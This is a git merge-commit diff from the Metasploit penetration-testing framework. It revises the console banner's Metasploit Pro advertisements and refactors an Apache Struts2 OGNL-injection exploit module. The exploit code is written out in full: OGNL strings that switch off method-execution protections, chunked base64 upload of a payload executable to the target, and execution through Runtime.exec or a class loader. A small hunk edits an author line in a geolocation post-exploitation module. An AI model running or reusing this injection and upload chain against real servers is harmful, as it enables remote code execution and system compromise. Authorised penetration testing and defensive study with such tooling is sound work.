Merge branch 'master' into staging/electro_release
commit
57864cc6c9
|
@ -384,40 +384,42 @@ class Core
|
||||||
def cmd_banner(*args)
|
def cmd_banner(*args)
|
||||||
banner = "%cya" + Banner.to_s + "%clr\n\n"
|
banner = "%cya" + Banner.to_s + "%clr\n\n"
|
||||||
|
|
||||||
if is_apt
|
# These messages should /not/ show up when you're on a git checkout;
|
||||||
|
# you're a developer, so you already know all this.
|
||||||
|
if (is_apt || binary_install)
|
||||||
content = [
|
content = [
|
||||||
"Large pentest? List, sort, group, tag and search your hosts and services\nin Metasploit Pro -- type 'go_pro' to launch it now.",
|
"Trouble managing data? List, sort, group, tag and search your pentest data\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit",
|
||||||
"Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with\nMetasploit Pro -- type 'go_pro' to launch it now.",
|
"Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with\nMetasploit Pro -- learn more on http://rapid7.com/metasploit",
|
||||||
"Save your shells from AV! Upgrade to advanced AV evasion using dynamic\nexe templates with Metasploit Pro -- type 'go_pro' to launch it now.",
|
"Payload caught by AV? Fly under the radar with Dynamic Payloads in\nMetasploit Pro -- learn more on http://rapid7.com/metasploit",
|
||||||
"Easy phishing: Set up email templates, landing pages and listeners\nin Metasploit Pro's wizard -- type 'go_pro' to launch it now.",
|
"Easy phishing: Set up email templates, landing pages and listeners\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit",
|
||||||
"Using notepad to track pentests? Have Metasploit Pro report on hosts,\nservices, sessions and evidence -- type 'go_pro' to launch it now.",
|
"Taking notes in notepad? Have Metasploit Pro track & report\nyour progress and findings -- learn more on http://rapid7.com/metasploit",
|
||||||
"Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro\n-- type 'go_pro' to launch it now."
|
"Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro\nLearn more on http://rapid7.com/metasploit",
|
||||||
|
"Love leveraging credentials? Check out bruteforcing\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit",
|
||||||
|
"Save 45% of your time on large engagements with Metasploit Pro\nLearn more on http://rapid7.com/metasploit",
|
||||||
|
"Validate lots of vulnerabilities to demonstrate exposure\nwith Metasploit Pro -- Learn more on http://rapid7.com/metasploit"
|
||||||
]
|
]
|
||||||
banner << content.sample # Ruby 1.9-ism!
|
banner << content.sample # Ruby 1.9-ism!
|
||||||
banner << "\n\n"
|
banner << "\n\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
banner << " =[ %yelmetasploit v#{Msf::Framework::Version} [core:#{Msf::Framework::VersionCore} api:#{Msf::Framework::VersionAPI}]%clr ]\n"
|
|
||||||
banner << "+ -- --=[ "
|
|
||||||
banner << "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post ]\n"
|
|
||||||
banner << "+ -- --=[ "
|
|
||||||
|
|
||||||
oldwarn = nil
|
|
||||||
avdwarn = nil
|
avdwarn = nil
|
||||||
|
|
||||||
banner << "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops ]\n"
|
banner_trailers = {
|
||||||
if ( ::Msf::Framework::RepoRevision.to_i > 0 and ::Msf::Framework::RepoUpdatedDate)
|
:version => "%yelmetasploit v#{Msf::Framework::Version} [core:#{Msf::Framework::VersionCore} api:#{Msf::Framework::VersionAPI}]%clr",
|
||||||
tstamp = ::Msf::Framework::RepoUpdatedDate.strftime("%Y.%m.%d")
|
:exp_aux_pos => "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post",
|
||||||
banner << " =[ svn r#{::Msf::Framework::RepoRevision} updated #{::Msf::Framework::RepoUpdatedDaysNote} (#{tstamp})\n"
|
:pay_enc_nop => "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops",
|
||||||
if(::Msf::Framework::RepoUpdatedDays > 7)
|
:free_trial => "Free Metasploit Pro trial: http://r-7.co/trymsp",
|
||||||
oldwarn = []
|
:padding => 48
|
||||||
oldwarn << "Warning: This copy of the Metasploit Framework was last updated #{::Msf::Framework::RepoUpdatedDaysNote}."
|
}
|
||||||
oldwarn << " We recommend that you update the framework at least every other day."
|
|
||||||
oldwarn << " For information on updating your copy of Metasploit, please see:"
|
banner << (" =[ %-#{banner_trailers[:padding]+8}s]\n" % banner_trailers[:version])
|
||||||
oldwarn << " https://community.rapid7.com/docs/DOC-1306"
|
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:exp_aux_pos])
|
||||||
oldwarn << ""
|
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:pay_enc_nop])
|
||||||
end
|
|
||||||
end
|
# TODO: People who are already on a Pro install shouldn't see this.
|
||||||
|
# It's hard for Framework to tell the difference though since
|
||||||
|
# license details are only in Pro -- we can't see them from here.
|
||||||
|
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:free_trial])
|
||||||
|
|
||||||
if ::Msf::Framework::EICARCorrupted
|
if ::Msf::Framework::EICARCorrupted
|
||||||
avdwarn = []
|
avdwarn = []
|
||||||
|
@ -428,22 +430,9 @@ class Core
|
||||||
avdwarn << ""
|
avdwarn << ""
|
||||||
end
|
end
|
||||||
|
|
||||||
# We're running a two week survey to gather feedback from users.
|
|
||||||
# Let's make sure we reach regular msfconsole users.
|
|
||||||
# TODO: Get rid of this sometime after 2014-01-23
|
|
||||||
survey_expires = Time.new(2014,"Jan",22,23,59,59,"-05:00")
|
|
||||||
if Time.now.to_i < survey_expires.to_i
|
|
||||||
banner << "+ -- --=[ Answer Q's about Metasploit and win a WiFi Pineapple Mk5 ]\n"
|
|
||||||
banner << "+ -- --=[ http://bit.ly/msfsurvey (Expires #{survey_expires.ctime}) ]\n"
|
|
||||||
end
|
|
||||||
|
|
||||||
# Display the banner
|
# Display the banner
|
||||||
print_line(banner)
|
print_line(banner)
|
||||||
|
|
||||||
if(oldwarn)
|
|
||||||
oldwarn.map{|line| print_line(line) }
|
|
||||||
end
|
|
||||||
|
|
||||||
if(avdwarn)
|
if(avdwarn)
|
||||||
avdwarn.map{|line| print_error(line) }
|
avdwarn.map{|line| print_error(line) }
|
||||||
end
|
end
|
||||||
|
@ -3040,6 +3029,18 @@ class Core
|
||||||
File.exists?(File.expand_path(File.join(msfbase_dir, '.apt')))
|
File.exists?(File.expand_path(File.join(msfbase_dir, '.apt')))
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Determines if we're a Metasploit Pro/Community/Express
|
||||||
|
# installation or a tarball/git checkout
|
||||||
|
#
|
||||||
|
# @return [Boolean] true if we are a binary install
|
||||||
|
def binary_install
|
||||||
|
binary_paths = [
|
||||||
|
'C:/metasploit/apps/pro/msf3',
|
||||||
|
'/opt/metasploit/apps/pro/msf3'
|
||||||
|
]
|
||||||
|
return binary_paths.include? Msf::Config.install_root
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Module list enumeration
|
# Module list enumeration
|
||||||
#
|
#
|
||||||
|
|
|
@ -27,7 +27,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[
|
[
|
||||||
'Meder Kydyraliev', # Vulnerability Discovery and PoC
|
'Meder Kydyraliev', # Vulnerability Discovery and PoC
|
||||||
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
|
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
|
||||||
'mihi' #ARCH_JAVA support
|
'mihi', #ARCH_JAVA support
|
||||||
|
'Christian Mehlmauer' # Metasploit Module
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
|
@ -66,75 +67,106 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(8080),
|
Opt::RPORT(8080),
|
||||||
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
|
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.','username']),
|
||||||
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
|
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
|
||||||
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
|
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]),
|
||||||
|
OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a¶m2=b". Do apply URL encoding to the parameters names and values if needed.', nil]),
|
||||||
|
OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def execute_command(cmd, opts = {})
|
def parameter
|
||||||
inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
|
datastore['PARAMETER']
|
||||||
inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
|
end
|
||||||
inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER']))
|
|
||||||
inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
|
def temp_path
|
||||||
uri = String.new(datastore['TARGETURI'])
|
return nil unless datastore['TMP_PATH']
|
||||||
uri = normalize_uri(uri)
|
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
|
||||||
uri.gsub!(/INJECT/,inject) # append the injection string
|
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
|
||||||
|
end
|
||||||
|
datastore['TMP_PATH']
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_parameter
|
||||||
|
retval = {}
|
||||||
|
return retval unless datastore['GET_PARAMETERS']
|
||||||
|
splitted = datastore['GET_PARAMETERS'].split('&')
|
||||||
|
return retval if splitted.nil? || splitted.empty?
|
||||||
|
splitted.each { |item|
|
||||||
|
name, value = item.split('=')
|
||||||
|
# no check here, value can be nil if parameter is ¶m
|
||||||
|
decoded_name = name ? Rex::Text::uri_decode(name) : nil
|
||||||
|
decoded_value = value ? Rex::Text::uri_decode(value) : nil
|
||||||
|
retval[decoded_name] = decoded_value
|
||||||
|
}
|
||||||
|
retval
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd)
|
||||||
|
junk = Rex::Text.rand_text_alpha(6)
|
||||||
|
inject = "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
|
||||||
|
inject << "= new java.lang.Boolean(true),#{cmd})('#{junk}')"
|
||||||
|
uri = normalize_uri(datastore['TARGETURI'])
|
||||||
resp = send_request_cgi({
|
resp = send_request_cgi({
|
||||||
'uri' => uri,
|
'uri' => uri,
|
||||||
'version' => '1.1',
|
'version' => '1.1',
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
|
'vars_get' => { parameter => inject, "z[(#{parameter})(#{junk})]" => 'true' }.merge(get_parameter)
|
||||||
})
|
})
|
||||||
return resp #Used for check function.
|
resp
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
#Set up generic values.
|
#Set up generic values.
|
||||||
@payload_exe = rand_text_alphanumeric(4+rand(4))
|
payload_exe = rand_text_alphanumeric(4 + rand(4))
|
||||||
pl_exe = generate_payload_exe
|
pl_exe = generate_payload_exe
|
||||||
append = 'false'
|
append = false
|
||||||
#Now arch specific...
|
#Now arch specific...
|
||||||
case target['Platform']
|
case target['Platform']
|
||||||
when 'linux'
|
when 'linux'
|
||||||
@payload_exe = "/tmp/#{@payload_exe}"
|
path = temp_path || '/tmp/'
|
||||||
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
|
payload_exe = "#{path}#{payload_exe}"
|
||||||
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
|
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))"
|
||||||
|
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{payload_exe}\".split(\"_\"))"
|
||||||
when 'java'
|
when 'java'
|
||||||
@payload_exe << ".jar"
|
payload_exe = "#{temp_path}#{payload_exe}.jar"
|
||||||
pl_exe = payload.encoded_jar.pack
|
pl_exe = payload.encoded_jar.pack
|
||||||
exec_cmd = ""
|
exec_cmd = ''
|
||||||
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
|
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
|
||||||
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
|
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
|
||||||
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
|
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
|
||||||
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
|
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
|
||||||
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
|
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{payload_exe}').toURI().toURL()}),"
|
||||||
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
|
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
|
||||||
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
|
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
|
||||||
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
|
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
|
||||||
when 'windows'
|
when 'windows'
|
||||||
@payload_exe = "./#{@payload_exe}.exe"
|
path = temp_path || './'
|
||||||
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
|
payload_exe = "#{path}#{payload_exe}.exe"
|
||||||
|
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
|
||||||
else
|
else
|
||||||
fail_with(Failure::NoTarget, 'Unsupported target platform!')
|
fail_with(Failure::NoTarget, 'Unsupported target platform!')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Uploading exploit to #{payload_exe}")
|
||||||
#Now with all the arch specific stuff set, perform the upload.
|
#Now with all the arch specific stuff set, perform the upload.
|
||||||
#109 = length of command string plus the max length of append.
|
#109 = length of command string plus the max length of append.
|
||||||
sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length
|
sub_from_chunk = 109 + payload_exe.length + datastore['TARGETURI'].length + parameter.length
|
||||||
chunk_length = 2048 - sub_from_chunk
|
chunk_length = 2048 - sub_from_chunk
|
||||||
chunk_length = ((chunk_length/4).floor) * 3
|
chunk_length = ((chunk_length/4).floor) * 3
|
||||||
while pl_exe.length > chunk_length
|
while pl_exe.length > chunk_length
|
||||||
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
|
java_upload_part(pl_exe[0,chunk_length], payload_exe, append)
|
||||||
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
|
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
|
||||||
append = true
|
append = true
|
||||||
end
|
end
|
||||||
java_upload_part(pl_exe,@payload_exe,append)
|
java_upload_part(pl_exe, payload_exe, append)
|
||||||
|
print_status("#{peer} - Executing payload")
|
||||||
execute_command(chmod_cmd) if target['Platform'] == 'linux'
|
execute_command(chmod_cmd) if target['Platform'] == 'linux'
|
||||||
execute_command(exec_cmd)
|
execute_command(exec_cmd)
|
||||||
register_files_for_cleanup(@payload_exe)
|
register_files_for_cleanup(payload_exe)
|
||||||
end
|
end
|
||||||
|
|
||||||
def java_upload_part(part, filename, append = 'false')
|
def java_upload_part(part, filename, append = false)
|
||||||
cmd = ""
|
cmd = ""
|
||||||
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
|
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
|
||||||
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
|
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
|
||||||
|
@ -151,7 +183,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
t2 = Time.now
|
t2 = Time.now
|
||||||
delta = t2 - t1
|
delta = t2 - t1
|
||||||
|
|
||||||
|
|
||||||
if response.nil?
|
if response.nil?
|
||||||
return Exploit::CheckCode::Safe
|
return Exploit::CheckCode::Safe
|
||||||
elsif delta < sleep_time
|
elsif delta < sleep_time
|
||||||
|
|
|
@ -17,7 +17,7 @@ class Metasploit3 < Msf::Post
|
||||||
Optionally geolocate the target by gathering local wireless networks and
|
Optionally geolocate the target by gathering local wireless networks and
|
||||||
performing a lookup against Google APIs.},
|
performing a lookup against Google APIs.},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'Tom Sellers <tom <at> fadedcode.net>'],
|
'Author' => [ 'Tom Sellers <tom [at] fadedcode.net>'],
|
||||||
'Platform' => %w{ osx win linux bsd solaris },
|
'Platform' => %w{ osx win linux bsd solaris },
|
||||||
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
||||||
))
|
))
|
||||||
|
|
Loading…
Reference in New Issue